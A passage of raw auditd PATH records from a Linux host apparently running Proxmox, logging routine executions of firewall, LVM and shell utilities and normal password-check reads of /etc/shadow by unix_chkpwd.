cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=PATH msg=audit(1781964615.488:61808): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=PATH msg=audit(1781964615.488:61807): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615485,"@rawstring":"node=pve type=PATH msg=audit(1781964615.485:61806): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615485,"@rawstring":"node=pve type=PATH msg=audit(1781964615.485:61806): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615485,"@rawstring":"node=pve type=PATH msg=audit(1781964615.485:61806): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615478,"@rawstring":"node=pve type=PATH msg=audit(1781964615.478:61805): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615478,"@rawstring":"node=pve type=PATH msg=audit(1781964615.478:61805): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615471,"@rawstring":"node=pve type=PATH msg=audit(1781964615.471:61804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615471,"@rawstring":"node=pve type=PATH msg=audit(1781964615.471:61804): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615465,"@rawstring":"node=pve type=PATH msg=audit(1781964615.465:61803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615465,"@rawstring":"node=pve type=PATH msg=audit(1781964615.465:61803): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615458,"@rawstring":"node=pve type=PATH msg=audit(1781964615.458:61802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615458,"@rawstring":"node=pve type=PATH msg=audit(1781964615.458:61802): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615453,"@rawstring":"node=pve type=PATH msg=audit(1781964615.453:61800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615453,"@rawstring":"node=pve type=PATH msg=audit(1781964615.453:61800): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615449,"@rawstring":"node=pve type=PATH msg=audit(1781964615.449:61799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615449,"@rawstring":"node=pve type=PATH msg=audit(1781964615.449:61799): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615443,"@rawstring":"node=pve type=PATH msg=audit(1781964615.443:61798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615443,"@rawstring":"node=pve type=PATH msg=audit(1781964615.443:61798): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615439,"@rawstring":"node=pve type=PATH msg=audit(1781964615.439:61797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615439,"@rawstring":"node=pve type=PATH msg=audit(1781964615.439:61797): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615433,"@rawstring":"node=pve type=PATH msg=audit(1781964615.433:61796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615433,"@rawstring":"node=pve type=PATH msg=audit(1781964615.433:61796): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615429,"@rawstring":"node=pve type=PATH msg=audit(1781964615.429:61795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615429,"@rawstring":"node=pve type=PATH msg=audit(1781964615.429:61795): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615422,"@rawstring":"node=pve type=PATH msg=audit(1781964615.422:61794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615422,"@rawstring":"node=pve type=PATH msg=audit(1781964615.422:61794): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615416,"@rawstring":"node=pve type=PATH msg=audit(1781964615.416:61793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615416,"@rawstring":"node=pve type=PATH msg=audit(1781964615.416:61793): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615412,"@rawstring":"node=pve type=PATH msg=audit(1781964615.412:61792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615412,"@rawstring":"node=pve type=PATH msg=audit(1781964615.412:61792): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615408,"@rawstring":"node=pve type=PATH msg=audit(1781964615.408:61791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615408,"@rawstring":"node=pve type=PATH msg=audit(1781964615.408:61791): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=PATH msg=audit(1781964615.407:61790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=PATH msg=audit(1781964615.407:61790): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615407,"@rawstring":"node=pve type=PATH msg=audit(1781964615.407:61789): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615403,"@rawstring":"node=pve type=PATH msg=audit(1781964615.403:61788): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615403,"@rawstring":"node=pve type=PATH msg=audit(1781964615.403:61788): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615403,"@rawstring":"node=pve type=PATH msg=audit(1781964615.403:61788): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615396,"@rawstring":"node=pve type=PATH msg=audit(1781964615.396:61787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615396,"@rawstring":"node=pve type=PATH msg=audit(1781964615.396:61787): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615389,"@rawstring":"node=pve type=PATH msg=audit(1781964615.389:61786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615389,"@rawstring":"node=pve type=PATH msg=audit(1781964615.389:61786): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615385,"@rawstring":"node=pve type=PATH msg=audit(1781964615.385:61785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615385,"@rawstring":"node=pve type=PATH msg=audit(1781964615.385:61785): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615379,"@rawstring":"node=pve type=PATH msg=audit(1781964615.379:61784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615379,"@rawstring":"node=pve type=PATH msg=audit(1781964615.379:61784): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615372,"@rawstring":"node=pve type=PATH msg=audit(1781964615.372:61783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615372,"@rawstring":"node=pve type=PATH msg=audit(1781964615.372:61783): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PATH msg=audit(1781964615.036:61782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PATH msg=audit(1781964615.036:61782): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PATH msg=audit(1781964615.036:61781): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615036,"@rawstring":"node=pve type=PATH msg=audit(1781964615.036:61780): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PATH msg=audit(1781964615.028:61779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PATH msg=audit(1781964615.028:61779): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PATH msg=audit(1781964615.028:61778): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615028,"@rawstring":"node=pve type=PATH msg=audit(1781964615.028:61777): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615020,"@rawstring":"node=pve type=PATH msg=audit(1781964615.020:61776): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615020,"@rawstring":"node=pve type=PATH msg=audit(1781964615.020:61776): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964614992,"@rawstring":"node=pve type=PATH msg=audit(1781964614.992:61775): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964614992,"@rawstring":"node=pve type=PATH msg=audit(1781964614.992:61775): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612343,"@rawstring":"node=pve type=PATH msg=audit(1781964612.343:61773): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612341,"@rawstring":"node=pve type=PATH msg=audit(1781964612.341:61772): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612341,"@rawstring":"node=pve type=PATH msg=audit(1781964612.341:61772): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612303,"@rawstring":"node=pve type=PATH msg=audit(1781964612.303:61771): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612300,"@rawstring":"node=pve type=PATH msg=audit(1781964612.300:61770): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964612300,"@rawstring":"node=pve type=PATH msg=audit(1781964612.300:61770): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PATH msg=audit(1781964610.022:61769): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PATH msg=audit(1781964610.022:61769): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PATH msg=audit(1781964610.022:61768): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610022,"@rawstring":"node=pve type=PATH msg=audit(1781964610.022:61767): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PATH msg=audit(1781964610.007:61766): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PATH msg=audit(1781964610.007:61766): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PATH msg=audit(1781964610.007:61765): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964610007,"@rawstring":"node=pve type=PATH msg=audit(1781964610.007:61764): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608614,"@rawstring":"node=pve type=PATH msg=audit(1781964608.614:61762): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608610,"@rawstring":"node=pve type=PATH msg=audit(1781964608.610:61761): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608610,"@rawstring":"node=pve type=PATH msg=audit(1781964608.610:61761): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608558,"@rawstring":"node=pve type=PATH msg=audit(1781964608.558:61760): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608554,"@rawstring":"node=pve type=PATH msg=audit(1781964608.554:61759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964608554,"@rawstring":"node=pve type=PATH msg=audit(1781964608.554:61759): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605360,"@rawstring":"node=pve type=PATH msg=audit(1781964605.360:61758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605360,"@rawstring":"node=pve type=PATH msg=audit(1781964605.360:61758): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605357,"@rawstring":"node=pve type=PATH msg=audit(1781964605.357:61757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605357,"@rawstring":"node=pve type=PATH msg=audit(1781964605.357:61757): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=PATH msg=audit(1781964605.356:61756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=PATH msg=audit(1781964605.356:61756): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605356,"@rawstring":"node=pve type=PATH msg=audit(1781964605.356:61755): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=PATH msg=audit(1781964605.352:61754): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=PATH msg=audit(1781964605.352:61754): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605352,"@rawstring":"node=pve type=PATH msg=audit(1781964605.352:61754): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605346,"@rawstring":"node=pve type=PATH msg=audit(1781964605.346:61753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605346,"@rawstring":"node=pve type=PATH msg=audit(1781964605.346:61753): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605340,"@rawstring":"node=pve type=PATH msg=audit(1781964605.340:61752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964605340,"@rawstring":"node=pve type=PATH msg=audit(1781964605.340:61752): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 